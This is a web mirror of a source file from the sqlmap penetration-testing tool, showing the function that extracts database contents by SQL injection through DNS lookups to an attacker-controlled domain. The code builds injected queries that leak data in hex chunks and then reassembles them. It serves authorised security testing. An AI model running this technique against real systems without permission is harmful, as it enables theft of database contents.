Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/techniques/dns/use.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import re
9
import time
10
11
from lib.core.agent import agent
12
from lib.core.common import Backend
13
from lib.core.common import calculateDeltaSeconds
14
from lib.core.common import dataToStdout
15
from lib.core.common import decodeDbmsHexValue
16
from lib.core.common import extractRegexResult
17
from lib.core.common import getSQLSnippet
18
from lib.core.common import hashDBRetrieve
19
from lib.core.common import hashDBWrite
20
from lib.core.common import randomInt
21
from lib.core.common import randomStr
22
from lib.core.common import safeStringFormat
23
from lib.core.common import singleTimeWarnMessage
24
from lib.core.compat import xrange
25
from lib.core.data import conf
26
from lib.core.data import kb
27
from lib.core.data import logger
28
from lib.core.data import queries
29
from lib.core.enums import DBMS
30
from lib.core.settings import DNS_BOUNDARIES_ALPHABET
31
from lib.core.settings import MAX_DNS_LABEL
32
from lib.core.settings import PARTIAL_VALUE_MARKER
33
from lib.core.unescaper import unescaper
34
from lib.request.connect import Connect as Request
35
from lib.utils.safe2bin import safecharencode
36
37
def dnsUse(payload, expression):
38
"""
39
Retrieve the output of a SQL query taking advantage of the DNS
40
resolution mechanism by making request back to attacker's machine.
41
"""
42
43
start = time.time()
44
45
retVal = None
46
count = 0
47
offset = 1
48
49
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
50
output = hashDBRetrieve(expression, checkConf=True)
51
52
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
53
output = None
54
55
if output is None:
56
kb.dnsMode = True
57
58
while True:
59
count += 1
60
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
61
chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2
62
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
63
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
64
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0)
65
if extendedField != fieldToCastStr: # e.g. MIN(surname)
66
nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField)
67
fieldToCastStr = extendedField
68
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
69
nulledCastedField = agent.hexConvertField(nulledCastedField)
70
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
71
72
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
73
expressionUnescaped = unescaper.escape(expressionRequest)
74
75
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
76
query = agent.prefixQuery("; %s" % expressionUnescaped)
77
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
78
forgedPayload = agent.payload(newValue=query)
79
else:
80
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
81
82
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
83
84
_ = conf.dnsServer.pop(prefix, suffix)
85
86
if _:
87
_ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
88
_ = decodeDbmsHexValue(_)
89
output = (output or "") + _
90
offset += len(_)
91
92
if len(_) < chunk_length:
93
break
94
else:
95
break
96
97
output = decodeDbmsHexValue(output) if conf.hexConvert else output
98
99
kb.dnsMode = False
100
101
if output is not None:
102
retVal = output
103
104
if kb.dnsTest is not None:
105
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
106
107
if count > 0:
108
hashDBWrite(expression, output)
109
110
if not kb.bruteMode:
111
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
112
logger.debug(debugMsg)
113
114
elif conf.dnsDomain:
115
warnMsg = "DNS data exfiltration method through SQL injection "
116
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
117
singleTimeWarnMessage(warnMsg)
118
119
return safecharencode(retVal) if kb.safeCharEncode else retVal
120
121